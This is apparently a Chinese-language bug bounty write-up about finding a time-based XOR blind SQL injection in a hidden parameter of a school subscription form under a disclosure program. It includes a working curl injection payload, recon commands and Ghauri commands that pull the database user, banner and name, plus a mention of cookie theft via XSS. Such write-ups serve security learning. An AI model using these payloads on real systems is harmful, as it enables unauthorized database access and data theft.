从信息收集到报告提交:利用隐藏参数中的 SQL 注入

67 阅读3分钟

官网:http://securitytech.cc/

从信息收集到报告提交:利用隐藏参数中的 SQL 注入

发现隐藏参数中的高危漏洞

简介:

SQL 注入(SQLi)是 Web 安全中最古老、最危险的漏洞之一。即便到了 2025 年,它依旧存在,原因有:

  • 开发者有时忘记对 所有输入 进行过滤。
  • 隐藏或不太显眼的参数经常被忽略。
  • 旧系统依然被广泛使用。

在这篇文章中,我会分享我是如何在一个 VDP(漏洞披露计划) 中发现 基于时间的 SQL 注入 的。


🤔 为什么在 VDP 上挖洞?

很多人问我:“为什么不直接去 Bug Bounty 平台(BBP)挖洞呢?” 原因如下:

  1. 作为新人猎人,我更看重 经验而不是奖励。即使漏洞被判为重复,我也能学到新东西。
  2. VDP 的研究员通常比 BBP 少,所以更容易找到漏洞。
  3. 积累足够多的有效 VDP 报告后,你会收到 私有项目邀请,这是进入付费 BBP 的入口。

信息收集 & 初步发现:

小贴士:尽量选择 范围较大的目标 来挖洞。

我从 ASN 查询开始,结合 Shodan、ZoomEye、FOFA 等搜索引擎收集 IP,把它们保存到文件中,然后用 httpx-toolkit 扫描:

cat ips.txt | httpx-toolkit -sc | tee alive-ips.txt

在结果里,一个 学校网站 引起了我的注意,它属于目标组织。

第一次探索时,我发现服务器跑的是 过时的 Apache 版本,尝试了几个已知 CVE,但都没成功。

后来,我在同一站点发现了一个 XSS 漏洞,通过窃取用户 Session Cookie 进行了利用,并成功提交报告。

两三天后,我回访这个 IP,确认漏洞是否修复。结果发现整个网站已经改版,只剩下一个 订阅学校新闻的表单 —— 非常适合测试输入。


🕵️ 漏洞发现:

我往表单里随便填了些测试数据,在 Burp Suite 中拦截 订阅请求 时,注意到一个隐藏的参数:

subscription_list[]=2891831

这立刻引起了我的注意。隐藏参数往往是 漏洞宝藏

我先用常见 payload 手工测试,但没触发。由于这是源站 IP(没有 WAF,没有限速),于是我用 Acunetix(付费版) 扫描。

5 分钟内,Acunetix 就报出了 SQL 注入 🚩 —— 检测到一个 基于 XOR 的时间盲注

Acunetix 验证结果


PoC(概念验证):

我用 curl 手动验证:

curl -s -w "Total time: %{time_total}\n" \
'https://target.com/endpoint.php' \
-X POST -i --insecure \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'Referer: https://target.com/' \
-H 'Cookie: PHPSESSID=xxxxxx' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "approval=true&inputCellPhone=555-666-0606&inputEmail=test@example.com&inputFirstName=John&inputLastName=Doe&inputSecurityAnswer=1&inputSecurityQuestion=1&subscription_list%5B%5D=6030'XOR(603*if(now()=sysdate(),sleep(6),0))XOR'Z"

✅ 响应延迟 6 秒 —— 明显的时间盲注证据。

延迟 6 秒


🛠 漏洞利用:

由于 sqlmap 不支持 XOR 类型 payload,我换成了 Ghauri(支持)。

先获取当前数据库用户:

ghauri -r req.txt --random-agent --current-user

成功获取当前用户

审核员让我提供更多信息(数据库、版本等),于是我重新运行:

ghauri -r req.txt --random-agent --banner --current-user --current-db

💡 成功获取到:

  • 数据库名称
  • 当前用户
  • Banner 信息

此时,漏洞已被 确认、可复现、影响严重。报告被接受。


📝 收获总结

  1. 一定要检查隐藏参数 —— 这些经常被忽视。

  2. 先手工测试,再结合扫描工具。

  3. 源站 IP 是好帮手 —— 通常没有 WAF,没有限速。

  4. 工具很重要。这次 Ghauri 成功,而 sqlmap 却不行。